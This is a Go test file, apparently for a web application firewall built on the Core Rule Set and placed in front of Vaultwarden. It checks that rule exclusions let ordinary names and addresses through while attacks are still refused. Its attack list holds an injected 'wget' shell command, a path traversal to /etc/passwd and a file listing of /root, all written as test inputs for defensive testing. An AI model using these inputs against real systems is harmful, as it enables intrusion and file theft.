check / check (push) Failing after 3m40s
Every setting of discriminator and rproxy is read through viper, in place of the os.LookupEnv function Main passed down. NewViper turns AutomaticEnv and AllowEmptyEnv on, so a setting that is set but empty reads as set. A setting may also be given as a file, the _FILE form, which rproxy's settings now have too; rproxy still writes nothing to disk. The settings are renamed. Discriminator's take the prefix SWW_WAF_, rproxy's take SWW_RPROXY_, and the shared SWW_COMMAND keeps SWW_. The Core Rule Set's settings take SWW_WAF_CORE_RULE_SET_ rather than SWW_WAF_WAF_. Model: deepseek-v4-pro (first version); opus-5-5 (rework)
323 lines
11 KiB
Go
323 lines
11 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
|
const vaultwardenThreshold = 5
|
|
|
|
// Paths of Vaultwarden's API and admin page.
|
|
const (
|
|
vaultwardenOrganization = "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b"
|
|
vaultwardenCipher = "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d"
|
|
vaultwardenSignUp = "/identity/accounts/register/send-verification-email"
|
|
vaultwardenFinishSignUp = "/identity/accounts/register/finish"
|
|
vaultwardenPassword = "/api/accounts/password"
|
|
vaultwardenProfile = "/api/accounts/profile"
|
|
vaultwardenSettings = "/admin/config"
|
|
vaultwardenSecurityKey = "/api/two-factor/webauthn"
|
|
)
|
|
|
|
// vaultwardenEmail is a JSON body that sends an address in email.
|
|
const vaultwardenEmail = `{"email":"VALUE"}`
|
|
|
|
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
|
}
|
|
|
|
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
|
// request that sends it, and its body, with VALUE where the field's value
|
|
// goes.
|
|
type vaultwardenField struct {
|
|
method, target, contentType, body string
|
|
}
|
|
|
|
// with returns f's body holding value, escaped as f's kind of body escapes
|
|
// it.
|
|
func (f vaultwardenField) with(t *testing.T, value string) string {
|
|
t.Helper()
|
|
|
|
escaped := url.QueryEscape(value)
|
|
|
|
if f.contentType == jsonBody {
|
|
quoted, err := json.Marshal(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
escaped = strings.Trim(string(quoted), `"`)
|
|
}
|
|
|
|
return strings.ReplaceAll(f.body, "VALUE", escaped)
|
|
}
|
|
|
|
// vaultwardenNameFields hold every field that skips 930120, 932120, 932250
|
|
// and 932260: the names and the password hints.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenNameFields = []vaultwardenField{
|
|
{
|
|
http.MethodPost, vaultwardenSignUp, jsonBody,
|
|
`{"email":"alice@example.com","name":"VALUE"}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
|
},
|
|
{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
|
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
|
|
{
|
|
http.MethodPost, "/api/organizations", jsonBody,
|
|
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
|
},
|
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
|
{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
|
}
|
|
|
|
// vaultwardenAddressFields hold every field of a body that skips 930120,
|
|
// 932120 and 932260: the email addresses.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAddressFields = []vaultwardenField{
|
|
{
|
|
http.MethodPost, "/identity/connect/token", formData,
|
|
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
|
},
|
|
{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
|
|
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"masterPasswordAuthentication":{"salt":"VALUE"}}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"masterPasswordUnlock":{"salt":"VALUE"}}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenPassword, jsonBody,
|
|
`{"authenticationData":{"salt":"VALUE"}}`,
|
|
},
|
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
|
|
{
|
|
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
|
|
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
|
|
},
|
|
{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
|
|
{
|
|
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
|
`{"email":"VALUE","type":0}`,
|
|
},
|
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
|
|
{
|
|
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
|
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
|
},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
|
|
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
|
|
{
|
|
http.MethodPut, "/api/two-factor/email", jsonBody,
|
|
`{"email":"VALUE","token":"123456"}`,
|
|
},
|
|
{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
|
|
}
|
|
|
|
// vaultwardenBreachReport is the data breach report, which sends an address
|
|
// in the query, ending in "=".
|
|
const vaultwardenBreachReport = "/api/hibp/breach?username="
|
|
|
|
// vaultwardenAddresses are the addresses 930120, 932120 and 932260 refused.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAddresses = []string{
|
|
"jane.profile@example.com",
|
|
"python3.dev@example.com",
|
|
"powershell@example.com",
|
|
}
|
|
|
|
// wantVaultwardenField checks that the Core Rule Set, reading bodies,
|
|
// refuses f holding value, or lets it through.
|
|
func wantVaultwardenField(
|
|
t *testing.T, f vaultwardenField, value string, refused bool,
|
|
) {
|
|
t.Helper()
|
|
|
|
r := request{f.method, f.target, []string{f.contentType}}
|
|
body := f.with(t, value)
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
if refused && got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s %s %s let through: %+v", f.method, f.target, body, got)
|
|
}
|
|
|
|
if !refused && got.Score >= vaultwardenThreshold {
|
|
t.Errorf("%s %s %s refused: %+v", f.method, f.target, body, got)
|
|
}
|
|
}
|
|
|
|
func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
|
|
for _, f := range vaultwardenNameFields {
|
|
wantVaultwardenField(t, f, value, false)
|
|
}
|
|
}
|
|
|
|
for _, value := range vaultwardenAddresses {
|
|
for _, f := range vaultwardenAddressFields {
|
|
wantVaultwardenField(t, f, value, false)
|
|
}
|
|
|
|
target := vaultwardenBreachReport + url.QueryEscape(value)
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score >= vaultwardenThreshold {
|
|
t.Errorf("%s refused: %+v", target, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// vaultwardenAttacks are an SQL injection, a script injection, a shell
|
|
// command and a path traversal.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAttacks = []string{
|
|
injection,
|
|
scriptTag,
|
|
"; wget http://example.com/x.sh",
|
|
"../../etc/passwd",
|
|
}
|
|
|
|
func TestVaultwardenAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range vaultwardenAttacks {
|
|
for _, f := range slices.Concat(vaultwardenNameFields, vaultwardenAddressFields) {
|
|
wantVaultwardenField(t, f, attack, true)
|
|
}
|
|
|
|
target := vaultwardenBreachReport + url.QueryEscape(attack)
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// An address keeps 932250, which refuses a listing of files.
|
|
for _, f := range vaultwardenAddressFields {
|
|
wantVaultwardenField(t, f, "ls -la /root", true)
|
|
}
|
|
}
|
|
|
|
func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// A name keeps the rules on vault items and folders, whose names are
|
|
// encrypted, on two-factor paths other than security keys', off
|
|
// Vaultwarden's paths, and when the query has a field of the same name.
|
|
for _, target := range []string{
|
|
"/api/ciphers",
|
|
"/api/folders",
|
|
"/x" + vaultwardenProfile,
|
|
"/identity/other",
|
|
"/api/two-factor/authenticator",
|
|
vaultwardenProfile + "?json.name=python3",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
body := `{"name":"python3"}`
|
|
|
|
if got, _ := inspectBody(t, crs, r, body); got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", target, body, got)
|
|
}
|
|
}
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/admin/other", `{"invitation_org_name":"python3"}`},
|
|
{vaultwardenProfile, `{"culture":"python3"}`},
|
|
{"/api/accounts/password-hint?json.email=python3", `{"email":"python3"}`},
|
|
} {
|
|
r := request{http.MethodPost, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, refused.body)
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPost, "/identity/other", []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, "username=python3")
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s username=python3 let through: %+v", r.target, got)
|
|
}
|
|
|
|
target := "/api/hibp/other?username=python3"
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// vaultwardenUpload returns a multipart body that uploads a file named name.
|
|
func vaultwardenUpload(name string) string {
|
|
return "--b\r\nContent-Disposition: form-data; name=\"data\"; filename=\"" + name +
|
|
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
|
|
}
|
|
|
|
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
|
|
|
|
for _, target := range []string{
|
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
|
vaultwardenCipher + "/attachment",
|
|
vaultwardenCipher + "/attachment-admin",
|
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a/share",
|
|
"/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa5796",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{multipart}}
|
|
|
|
if got, _ := inspectBody(t, crs, r, encrypted); got.Score >= vaultwardenThreshold {
|
|
t.Errorf("POST %s refused: %+v", target, got)
|
|
}
|
|
|
|
// The names of uploaded files keep the other rules: a path
|
|
// traversal and a PHP script are still refused.
|
|
for _, name := range []string{"../../etc/passwd", "x.php"} {
|
|
got, _ := inspectBody(t, crs, r, vaultwardenUpload(name))
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", target, name, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, target := range []string{"/upload", vaultwardenCipher + "/other"} {
|
|
r := request{http.MethodPost, target, []string{multipart}}
|
|
|
|
if got, _ := inspectBody(t, crs, r, encrypted); got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s let through: %+v", target, got)
|
|
}
|
|
}
|
|
}
|